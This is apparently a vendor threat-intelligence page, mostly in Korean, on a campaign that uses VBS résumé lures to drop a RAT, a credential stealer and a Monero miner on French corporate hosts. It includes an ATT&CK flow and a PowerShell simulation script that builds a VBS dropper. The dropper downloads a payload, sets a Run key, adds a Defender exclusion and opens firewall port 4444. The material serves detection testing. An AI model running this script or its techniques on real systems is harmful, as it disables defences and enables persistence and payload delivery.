FAUX#ELEVATE 분석: 위협 행위자가 CV 유인책으로 프랑스를 목표로 하여 기업 환경을 겨냥한 암호화폐 채굴기 및 정보 탈취기를 배포

Ruslan Mikhalov SOC Prime에서 위협 연구 책임자

팔로우

FAUX#ELEVATE 분석: 위협 행위자가 CV 유인책으로 프랑스를 목표로 하여 기업 환경을 겨냥한 암호화폐 채굴기 및 정보 탈취기를 배포

Detection stack

AIDR
Alert
ETL
Query

위협 보고서
공격 흐름
탐지
시뮬레이션

요약

사이버 범죄 작전이 악성 VBS 이력서 파일을 활용하여 프랑스어 사용 기업 환경을 타겟으로 합니다. 이 드로퍼는 고도로 난독화되어 있으며 도메인에 연결된 기기에서만 실행되도록 설계되었고, 크리덴셜을 탈취하는 악성코드와 모네로 채굴기를 함께 배포합니다. 이 캠페인은 페이로드를 호스팅하기 위해 Dropbox 및 해킹된 모로코의 WordPress 사이트와 같은 신뢰할 수 있는 서비스를 사용합니다. 탈취된 데이터는 경유 SMTP를 통해 mail.ru로 유출되며, 악성코드는 포렌식 가시성을 줄이기 위해 실행 후 흔적을 제거합니다.

조사

연구원들은 VBS 드로퍼를 리버스 엔지니어링하여 환경 검사를 밝혀내고, 7-Zip 추출, RuntimeHost.exe라는 맞춤 RAT, ChromElevator 브라우저 크리덴셜 탈취, XMRig 채굴 활동을 포함한 전체 다단계 감염 체인을 매핑했습니다. 또한 IP 주소, 다이내믹 DNS 항목, 해킹된 워드프레스 서버와 같은 지원 인프라도 식별했습니다. 지속성은 레지스트리 Run 키와 은닉된 예약 작업과 연결되었습니다.

완화

방어자들은 의심스러운 VBS 파일을 차단하고 이메일 첨부 파일에 대한 엄격한 통제를 시행해야 합니다. 모니터링은 wscript.exe의 비정상적 실행, Defender 제외 항목을 추가하는 PowerShell 명령어, EnableLUA에 영향을 미치는 레지스트리 변경에 초점을 맞춰야 합니다. 조직은 메일이 아닌 애플리케이션에서의 SMTP를 제한하고, 알려진 Dropbox 및 마이닝 풀 인프라와의 연결을 감시해야 합니다. 식별된 레지스트리 키나 예약된 작업은 제거하거나 격리해야 합니다.

대응

보안 팀은 ‘Microsoft Media Service’ 및 숨겨진 ‘MicrosoftUpdateService’ 예약 작업과 함께 ‘z_MicrosoftEdgeAutoLaunch_2EDFBF’ Run 키의 생성을 감지해야 합니다. wscript.exe 프로세스가 Dropbox 또는 문서화된 WordPress 도메인에 액세스할 때 경고를 울려야 합니다. 악성 파일은 격리하고, 호스트는 격리하며, 노출된 브라우저 크리덴셜은 초기화해야 합니다. 그런 다음 포렌식 검토를 통해 탈취된 데이터가 mail.ru.

"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffddaa classDef technique fill:#c0c0c0 %% Node definitions step_phishing["Technique – T1566.001 Phishing: Spearphishing Attachment Description: Email with malicious attachment that, when opened, delivers the initial payload."] class step_phishing action step_user_execute["Technique – T1204.002 User Execution: Malicious File Description: Victim runs the attached VBS file, triggering the dropper."] class step_user_execute action step_dropper["Technique – T1059.005 Visual Basic (VBScript) Technique – T1027 Obfuscated Files or Information Description: Obfuscated VBS script acts as a dropper that extracts additional components."] class step_dropper action step_domain_check["Technique – T1069.002 Permission Group Discovery: Domain Description: Checks if the host is joined to a domain to adapt behavior."] class step_domain_check technique step_uac_bypass["Technique – T1548.002 Bypass User Account Control Technique – T1562.001 Impair Defenses: Disable Security Tools Technique – T1564.012 Hide Artifacts: Defender Exclusions Description: Elevates privileges, disables defenses and adds exclusions."] class step_uac_bypass technique step_download["Technique – T1102 Web Service Technique – T1102.001 Dead Drop Resolver Description: Retrieves additional payloads from Dropbox or web locations."] class step_download technique step_deploy_toolkit["Tool – RuntimeHost.exe, XMRig Miner, Browser Stealers Description: Deploys components for mining, credential theft and further exploitation."] class step_deploy_toolkit tool step_cred_access["Technique – T1555.003 Credentials from Web Browsers Description: Extracts stored browser passwords and cookies."] class step_cred_access technique step_collect_files["Technique – T1005 Data from Local System Description: Gathers files from the user's desktop for exfiltration."] class step_collect_files technique step_exfiltration["Technique – T1048.002 Exfiltration Over Encrypted Nonu2011C2 Protocol: SMTP Technique – T1071.003 Web Protocols: Mail Protocols Description: Sends collected data via encrypted SMTP."] class step_exfiltration technique step_resource_hijack["Technique – T1496 Resource Hijacking Description: Uses XMRig to mine cryptocurrency on the victim host."] class step_resource_hijack technique step_process_injection["Technique – T1055 Process Injection Description: Injects malicious code into explorer.exe to hide activity."] class step_process_injection technique step_c2["Technique – T1102 Web Service (HTTPS/Dynamic DNS) Description: Maintains commandu2011andu2011control over encrypted web traffic and custom ports."] class step_c2 technique step_persistence["Technique – T1547.001 Registry Run Keys / Startup Folder Technique – T1053 Scheduled Task/Job (Hidden) Description: Establishes persistence via Run key and a concealed scheduled task."] class step_persistence technique step_cleanup["Technique – T1070.004 File Deletion Description: Removes artifacts and logs to evade detection."] class step_cleanup technique %% Edge connections step_phishing –>|leads_to| step_user_execute step_user_execute –>|leads_to| step_dropper step_dropper –>|leads_to| step_domain_check step_domain_check –>|leads_to| step_uac_bypass step_uac_bypass –>|leads_to| step_download step_download –>|leads_to| step_deploy_toolkit step_deploy_toolkit –>|enables| step_cred_access step_deploy_toolkit –>|enables| step_collect_files step_cred_access –>|combined_with| step_collect_files step_cred_access –>|supports| step_exfiltration step_collect_files –>|supports| step_exfiltration step_deploy_toolkit –>|enables| step_resource_hijack step_deploy_toolkit –>|enables| step_process_injection step_process_injection –>|provides| step_c2 step_c2 –>|used_by| step_exfiltration step_deploy_toolkit –>|establishes| step_persistence step_persistence –>|followed_by| step_cleanup step_exfiltration –>|followed_by| step_cleanup "

공격 흐름

Attack Narrative & Commands:
1. Stage 1 – Drop malicious VBS: The attacker writes a VBS dropper that downloads a second-stage payload and writes a registry run key for persistence.
2. Stage 2 – Execute VBS via wscript.exe with PowerShell as the parent process, thereby satisfying the detection’s parent‑child condition.
3. Stage 3 – Within the VBS, invoke PowerShell to add a Microsoft Defender exclusion (T1562.001) and Netsh to open inbound TCP port 4444 (T1562.004) for C2.
4. Stage 4 – Clean up evidence after success.

Regression Test Script: (PowerShell – self‑contained; run with administrative rights)


# -----------------------------------------------------------------------
# Malicious VBS Dropper Simulation – triggers Sigma rule:
#   Image == "*wscript.exe" AND ParentImage in ("*powershell.exe","*netsh.exe")
# -----------------------------------------------------------------------

$vbsPath = "$env:Tempmalicious_dropper.vbs"
$payloadUrl = "http://example.com/payload.exe"   # placeholder URL
$payloadPath = "$env:Temppayload.exe"

# 1. Create malicious VBS that:
#    • Downloads a payload
#    • Writes a Run key for persistence
#    • Calls PowerShell to add Defender exclusion
#    • Calls Netsh to open a firewall rule
$vbsContent = @"
Set objXML = CreateObject("Microsoft.XMLHTTP")
objXML.Open "GET", "$payloadUrl", False
objXML.Send
If objXML.Status = 200 Then
Set objStream = CreateObject("ADODB.Stream")
objStream.Type = 1
objStream.Open
objStream.Write objXML.ResponseBody
objStream.SaveToFile "$payloadPath", 2
End If

‘ Persist via Run key Set objShell = CreateObject(“WScript.Shell”) objShell.RegWrite “HKCUSoftwareMicrosoftWindowsCurrentVersionRunmalicious”, “$payloadPath”

‘ Defender exclusion via PowerShell (executed inline) objShell.Run “powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '$payloadPath'“”, 0, True

‘ Open firewall port 4444 via Netsh (executed inline) objShell.Run “netsh.exe advfirewall firewall add rule name="MaliciousPort” dir=in action=allow protocol=TCP localport=4444″, 0, True “@

Set-Content -Path $vbsPath -Value $vbsContent -Encoding ASCII

# 2. Launch the VBS with PowerShell as the parent process
Write-Host "[*] Launching malicious VBS via wscript.exe (parent: PowerShell)"
Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -Command `"wscript.exe `"$vbsPath`"`"" -Wait

# 3. Verify that firewall rule was added (optional)
netsh advfirewall firewall show rule name=MaliciousPort

# 4. Cleanup artifacts (payload & VBS) – left for separate cleanup section
Write-Host "[+] Simulation complete. Review alerts in SIEM."
```

Cleanup Commands: (run after verification)

# Remove firewall rule
netsh advfirewall firewall delete rule name="MaliciousPort"

# Remove Defender exclusion
powershell.exe -Command "Remove-MpPreference -ExclusionPath '$env:Temppayload.exe'"

# Delete persistence Run key
reg delete "HKCUSoftwareMicrosoftWindowsCurrentVersionRunmalicious" /f

# Delete files
Remove-Item -Path "$env:Tempmalicious_dropper.vbs" -Force
Remove-Item -Path "$env:Temppayload.exe" -Force

Write-Host "[+] Cleanup completed."

SOC Prime의 Detection as Code 플랫폼에 가입하세요 귀사의 비즈니스에 가장 중요한 위협에 대한 가시성을 개선하세요. 시작을 돕고 즉각적인 가치를 제공하기 위해 지금 SOC Prime 전문가와의 회의를 예약하세요.

무료 가입